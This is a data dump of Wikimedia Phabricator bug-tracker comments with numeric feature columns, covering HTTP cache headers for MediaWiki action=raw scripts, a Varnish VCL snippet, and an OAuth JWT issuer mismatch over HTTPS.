The scripts are not re-downloaded every time you view a page, and there is no need to add any `bcache`, `maxage` or `smaxage` parameters to MediaWiki urls, these do not improve performance anymore. Performance is our default, as much as possible.",,,1557345305,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,200,True,1.5,0.0,0.5,2.5,3.5,3.5,2.0,0.0,0.0,0.5,2.5,0.0,0.0,0.5,1.0,0.5,0.0,9.5,9.5,0.0,1.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,10.0,3.0,1.0,0.5,2.0,0.0,1.0,0.0,0.0,1.0,1.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,15.5,2.0,0.5,1.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,4.5,0.0,1.5,0.0,0.5,0.0,5.5,6.0,8.0,2.0,2.5,11.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.0,9.5,2.5,0.0,0.0,0.0,5.0,0.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,4.016361416361416,0.7184981684981685,"SCREEN_NAME There are no plans to do that currently. These cannot be safely cached for security and privacy reasons, as such they are intentionally set to CODE.

Note that max-age=0,private does not mean they are not cached. It simply means they are not unconditionally re-used by the CDN and your browser, which is not the same as caching.

Your browser does cache these, and does re-use the downloaded script between pages. The only thing it does is transfer a very small message in the background when loading a page to check if the script has changed since your last page view (this means edits will immediately apply, which is nice).


The scripts are not re-downloaded every time you view a page, and there is no need to add any CODE, CODE or CODE parameters to MediaWiki urls, these do not improve performance anymore. Performance is our default, as much as possible."
1277819,action=raw should allow public HTTP caching where possible,"@AfroThundr3007730 There are no plans to do that currently. These cannot be safely cached for security and privacy reasons, as such they are intentionally set to `0`.

Note that max-age=0,private does not mean they are not cached. It simply means they are not unconditionally re-used by the CDN and your browser, which is not the same as caching.

Your browser does cache these, and does re-use the downloaded script between pages. The only thing it does is transfer a very small message in the background when loading a page to check if the script has changed since your last page view (this means edits will immediately apply, which is nice). The scripts are not re-downloaded every time you view a page.",,,1557345053,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,200,True,0.5,0.0,0.5,2.5,3.0,4.0,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.5,0.0,0.0,8.0,9.0,0.0,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,9.5,3.5,1.0,0.0,2.5,0.0,1.0,0.0,0.0,0.5,1.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,13.0,2.0,0.5,1.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,1.0,4.5,0.0,1.5,0.0,0.5,0.0,6.5,5.0,5.5,2.5,1.5,11.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,9.0,1.5,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.013413242009133,0.7243150684931507,"SCREEN_NAME There are no plans to do that currently. These cannot be safely cached for security and privacy reasons, as such they are intentionally set to CODE.

Note that max-age=0,private does not mean they are not cached. It simply means they are not unconditionally re-used by the CDN and your browser, which is not the same as caching.

Your browser does cache these, and does re-use the downloaded script between pages. The only thing it does is transfer a very small message in the background when loading a page to check if the script has changed since your last page view (this means edits will immediately apply, which is nice). The scripts are not re-downloaded every time you view a page."
1277816,action=raw should allow public HTTP caching where possible,"Is there any plan to let the `maxage` parameter work correctly? Currently it still returns a `Cache-Control` header with `max-age=0` despite explicitly setting it to a higher value. Using `bcache=1` isn't changing the behavior either.

A quick count shows I have ~106 calls to either `importScript` or `mw.loader.load` in my [[https://en.wikipedia.org/wiki/User:AfroThundr3007730/common.js|`common.js`]] currently. It would be really awesome if all those requests could be cached instead of being loaded from scratch every time I open a tab (of which I usually have dozens up at a time). Granted, my use case is not a typical one, but the software should support `Cache-Control` with a `max-age > 0` for user loaded resources, especially if we use something like `&maxage=86400` in the URI (which I'm not currently, since that parameter doesn't even work).",,,1557344817,,PHID-USER-336i3n35cbx44mizj2zp,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,False,,,200,True,1.5,0.5,0.0,1.0,2.5,2.0,1.0,0.0,0.0,1.0,1.5,2.0,0.0,0.0,0.5,4.5,0.0,9.0,11.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,6.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,6.5,3.5,12.0,2.5,1.5,11.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,6.0,11.0,3.0,0.5,0.0,0.0,6.0,0.0,1.5,4.0,0.0,1.5,0.5,0.0,1.0,3.891891891891892,0.7702702702702702,"Is there any plan to let the CODE parameter work correctly? Currently it still returns a CODE header with CODE despite explicitly setting it to a higher value. Using CODE isn't changing the behavior either.

A quick count shows I have ~106 calls to either CODE or CODE in my [[URL currently. It would be really awesome if all those requests could be cached instead of being loaded from scratch every time I open a tab (of which I usually have dozens up at a time). Granted, my use case is not a typical one, but the software should support CODE with a CODE for user loaded resources, especially if we use something like CODE in the URI (which I'm not currently, since that parameter doesn't even work)."
653869,action=raw should allow public HTTP caching where possible,"max-age and s-maxage aren't really relevant in this issue and have been mostly obsoleted by the fact that we now allow full Varnish/Squid caching for action=raw (and are automatically purged after edits, the same way we purge the regular article views of pages).

However that only applies to logged-out users. For logged-in users, action=raw, similar to regular page views, always bypass cache.

We should fix this so that on regular wikis (e.g. not private read-restricted wikis) action=raw responses are publicly cached so that they can be completely handled by Varnish instead of requiring an needless roundtrip through Apache/PHP/MediaWiki.",,,1461886688,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.5,2.5,1.0,8.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,1.5,0.0,8.0,12.5,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,2.0,1.0,0.0,0.5,0.0,0.0,13.5,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,2.0,3.0,5.5,4.0,1.5,3.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,12.5,4.5,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,4.075395083406497,0.836918349429324,"max-age and s-maxage aren't really relevant in this issue and have been mostly obsoleted by the fact that we now allow full Varnish/Squid caching for action=raw (and are automatically purged after edits, the same way we purge the regular article views of pages).

However that only applies to logged-out users. For logged-in users, action=raw, similar to regular page views, always bypass cache.

We should fix this so that on regular wikis (e.g. not private read-restricted wikis) action=raw responses are publicly cached so that they can be completely handled by Varnish instead of requiring an needless roundtrip through Apache/PHP/MediaWiki."
518357,action=raw should allow public HTTP caching where possible,"One year later, wondering if that's still an issue, or whether someone could answer the last comment:
> Why not just simply add a regex to meet the directives of the request?",,,1441111408,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,8,True,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.9565217391304346,0.9565217391304348,"One year later, wondering if that's still an issue, or whether someone could answer the last comment:
QUOTE"
320921,action=raw should allow public HTTP caching where possible,"**metatron** wrote:

If this is caused by this lines (as Michael M. stated):

sub vcl_deliver {
   /* Override the Cache-Control header for wiki content pages */
   if (req.url ~ ""(?i)^/w(iki)?/.*""
       && req.url !~ ""^/wiki/Special\:Banner(Controller|ListLoader)""
       && req.url !~ ""(?i)^/w/(extensions/.*|api\.php)""
       && req.url !~ ""(?i)bcache=1"") {
       set resp.http.Cache-Control = ""private, s-maxage=0, max-age=0, must-revalidate"";
   }
}

Why not just simply add a regex to meet the directives of the request?
Request-url and query-string are available at present; the ""new"" parameter bcache is respected, why not maxage/s-maxage?
IMHO at least ""private"" should be removed for requested .js/.css pages or for action ""raw"". This would allow proxies/local browsers to intelligently set caching. ""private"" + ""must revalidate"" leaves no elbowroom for systems to guess the right things.

https://meta.wikimedia.org/w/index.php?title=User:Hedonil/Test/XTools.js&action=raw&ctype=text/javascript&maxage=86400&smaxage=86400",,,1409109753,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,5.666666666666667,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,5.333333333333333,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,11.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,5.0,1.3333333333333333,3.3333333333333335,4.0,0.0,0.0,1.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,5.333333333333333,6.666666666666667,1.6666666666666667,8.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.699074074074074,0.7037037037037037,"**metatron** wrote:

If this is caused by this lines (as Michael M. stated):

sub vcl_deliver {
   /* Override the Cache-Control header for wiki content pages */
   if (req.url ~ ""(?i)^/w(iki)?/.*""
       && req.url !~ ""^/wiki/Special\:Banner(Controller|ListLoader)""
       && req.url !~ ""(?i)^/w/(extensions/.*|api\.php)""
       && req.url !~ ""(?i)bcache=1"") {
       set resp.http.Cache-Control = ""private, s-maxage=0, max-age=0, must-revalidate"";
   }
}

Why not just simply add a regex to meet the directives of the request?
Request-url and query-string are available at present; the ""new"" parameter bcache is respected, why not maxage/s-maxage?
IMHO at least ""private"" should be removed for requested .js/.css pages or for action ""raw"". This would allow proxies/local browsers to intelligently set caching. ""private"" + ""must revalidate"" leaves no elbowroom for systems to guess the right things.

URL"
320917,action=raw should allow public HTTP caching where possible,"That change simply puts the same behaviour in place that was there with the Squid cluster before Varnish.

The problem is that we don't have separate Cache-Control headers for _our caches_ vs _clients_ in MediaWiki, and never have had. So MediaWiki's Cache-Control header is targeted at our caches, and Varnish replaces that header with one that for most URLs doesn't allow caching (just like our Squid config did). Unfortunately, Varnish can only guess from the URL.",,,1408982819,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,1.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,4.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,4.0,3.0,18.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,12.0,11.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,4.051546391752577,0.6804123711340206,"That change simply puts the same behaviour in place that was there with the Squid cluster before Varnish.

The problem is that we don't have separate Cache-Control headers for _our caches_ vs _clients_ in MediaWiki, and never have had. So MediaWiki's Cache-Control header is targeted at our caches, and Varnish replaces that header with one that for most URLs doesn't allow caching (just like our Squid config did). Unfortunately, Varnish can only guess from the URL."
320914,action=raw should allow public HTTP caching where possible,"(In reply to Andre Klapper from comment #4)
> Mark: Any comments, as you worked on that change?

That's an old change (2013) so he might have forgotten ;)

Krinkle/Roan/Trevor: Thoughts here on the right cache settings?",,,1408982381,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,2.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,2.0,12.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4651162790697674,0.9069767441860465,"(In reply to Andre Klapper from comment #4)
QUOTE

That's an old change (2013) so he might have forgotten ;)

Krinkle/Roan/Trevor: Thoughts here on the right cache settings?"
320908,action=raw should allow public HTTP caching where possible,"Mark: Any comments, as you worked on that change?",,,1408823213,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,True,,,-45,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,"Mark: Any comments, as you worked on that change?"
320902,action=raw should allow public HTTP caching where possible,"(In reply to Michael M. from comment #2)
> I can confirm that appending &bcache=1 to the URL will set the Cache-Control
> as expected, so this definitely is caused by
> http://git.wikimedia.org/commitdiff/operations%2Fpuppet.git/
> ce1f2b638ab2a09097ffe207ec6dc35c3823bc1b

Thanks for investigating.

Mark: Any comments, as you worked on that change?",,,1408106923,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,True,,,-46,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,16.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3783783783783785,0.8108108108108109,"(In reply to Michael M. from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Thanks for investigating.

Mark: Any comments, as you worked on that change?"
320897,action=raw should allow public HTTP caching where possible,"I can confirm that appending &bcache=1 to the URL will set the Cache-Control as expected, so this definitely is caused by http://git.wikimedia.org/commitdiff/operations%2Fpuppet.git/ce1f2b638ab2a09097ffe207ec6dc35c3823bc1b",,,1407921043,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,19.0,4.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,15.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9230769230769231,"I can confirm that appending &bcache=1 to the URL will set the Cache-Control as expected, so this definitely is caused by URL"
320892,action=raw should allow public HTTP caching where possible,"I can reproduce this on any WMF wiki (including *.beta.wmflabs.org, both logged in and logged out), but not on my private test wiki or on other public wikis like http://www.explainxkcd.com, where Cache-Control is set as requested by the parameters (or as the set default). So I guess it's Varnish that replaces the Cache-Control with ""Cache-Control:private, s-maxage=0, max-age=0, must-revalidate""",,,1407919959,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-47,True,1.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,14.0,1.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,5.0,12.0,13.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.6744186046511627,0.686046511627907,"I can reproduce this on any WMF wiki (including *.beta.wmflabs.org, both logged in and logged out), but not on my private test wiki or on other public wikis like URL where Cache-Control is set as requested by the parameters (or as the set default). So I guess it's Varnish that replaces the Cache-Control with ""Cache-Control:private, s-maxage=0, max-age=0, must-revalidate"""
71289,OAuth does not set correct JWT issuer when accessing over HTTPS,"I am accessing OAuth over HTTPS (https://www.mediawiki.org), but the issuer (iss field) I am getting back from the service says http://www.mediawiki.org (no HTTPS). Because of this verification fails.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1407492180,1676417158.0,PHID-USER-m2xiute3l4kwb26dyrp7,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-65frrvpzvit7upklaj5l,task_description,declined,True,c3,1,False,False,False,-47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7735849056603774,0.660377358490566,"I am accessing OAuth over HTTPS (URL but the issuer (iss field) I am getting back from the service says URL (no HTTPS). Because of this verification fails.

--------------------------
**Version**: unspecified
**Severity**: normal"
2069602,OAuth does not set correct JWT issuer when accessing over HTTPS,Bug from the era before TLS was basically required to operate a website. Certainly this does not effect Wikimedia wikis anymore.,,,1676417158,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,3,True,,,397,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.695652173913044,0.9565217391304348,Bug from the era before TLS was basically required to operate a website. Certainly this does not effect Wikimedia wikis anymore.
820604,OAuth does not set correct JWT issuer when accessing over HTTPS,Does not affect Wikimedia sites anymore since it is not possible for the access method and the canonical server URL to have different protocols.,,,1488864256,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,3,True,,,87,True,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.84,0.92,Does not affect Wikimedia sites anymore since it is not possible for the access method and the canonical server URL to have different protocols.
312618,OAuth does not set correct JWT issuer when accessing over HTTPS,"(In reply to Chris Steipp from comment #1)
> If we use $wgServer, you have the same
> problem that you can't match the protocol.

wfExpandUrl( $wgServer, PROTO_CURRENT ) maybe?",,,1407529004,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,True,,,-47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.64,0.84,"(In reply to Chris Steipp from comment #1)
QUOTE
QUOTE

wfExpandUrl( $wgServer, PROTO_CURRENT ) maybe?"
312614,OAuth does not set correct JWT issuer when accessing over HTTPS,"Hm, maybe we could just require anyone using OAuth to use HTTPS at all times? OAuth should simply be declined without HTTPS? There is really no need for HTTP for APIs. (CPU ought not be an excuse.)

(For other installations other could decide on configuration and deal with correctly setting wgCanonicalServer.)",,,1407518980,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,False,,,-47,True,2.0,2.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,10.0,13.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,16.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,13.0,6.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,4.225806451612903,0.8225806451612904,"Hm, maybe we could just require anyone using OAuth to use HTTPS at all times? OAuth should simply be declined without HTTPS? There is really no need for HTTP for APIs. (CPU ought not be an excuse.)

(For other installations other could decide on configuration and deal with correctly setting wgCanonicalServer.)"
312609,OAuth does not set correct JWT issuer when accessing over HTTPS,"(In reply to Mitar from comment #2)
> Then maybe MediaWiki (https://www.mediawiki.org/wiki/MediaWiki) has a wrong
> $wgCanonicalServer setting. Because if you open http://www.mediawiki.org it
> redirects to HTTPS. So it seems https://www.mediawiki.org is the canonical
> URL for the site.

www.mediawiki.org has $wgCanonicalServer set to ""http://www.mediawiki.org"". If you're logged in, you probably have the force HTTPS cookie which is causing the redirect.

But yeah, I prefer you *DO* use https when calling /identify, just to preserve your user's privacy, if nothing else. So the in the preferred case, there will be a missmatch, which isn't great design I admin. We could just set https:// always, to encourage Consumer to use it too.. but that seems a little evil too.

> Server name could not be influenced by an attacker (if yes, you have an
> error in your server configuration)? But http host yes. But server name does
> not contain the protocol anyway, no?

I think I've seen the host header used when apache used * as the vhost... but yeah, as you point out that doesn't include protocol, so back to the same problem.

> You could use $_SERVER[""HTTPS""]:
> https://stackoverflow.com/questions/1175096/how-to-find-out-if-you-are-using-
> https-without-serverhttps
> 
> But then you will have to make sure that your forward proxy daemon properly
> sets this (if you run MediaWiki behind it, what you do at mediawiki.org it
> seems).

$request->getProtocol(). You've been away too long :)",,,1407518267,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,True,,,-47,True,0.0,0.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,1.0,2.5,2.5,0.0,0.0,0.5,2.5,0.0,9.0,7.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,6.5,1.0,0.5,1.0,3.0,0.5,0.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,4.5,2.0,15.0,2.0,2.0,6.0,0.0,0.5,0.0,0.5,4.0,1.0,1.0,0.0,6.0,7.5,7.5,0.0,0.5,0.0,6.0,0.5,2.5,1.0,0.0,1.0,0.0,0.0,0.0,3.6079507278835385,0.6769876819708847,"(In reply to Mitar from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

www.mediawiki.org has $wgCanonicalServer set to ""URL If you're logged in, you probably have the force HTTPS cookie which is causing the redirect.

But yeah, I prefer you *DO* use https when calling /identify, just to preserve your user's privacy, if nothing else. So the in the preferred case, there will be a missmatch, which isn't great design I admin. We could just set https:// always, to encourage Consumer to use it too.. but that seems a little evil too.

QUOTE
QUOTE
QUOTE

I think I've seen the host header used when apache used * as the vhost... but yeah, as you point out that doesn't include protocol, so back to the same problem.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

$request->getProtocol(). You've been away too long :)"
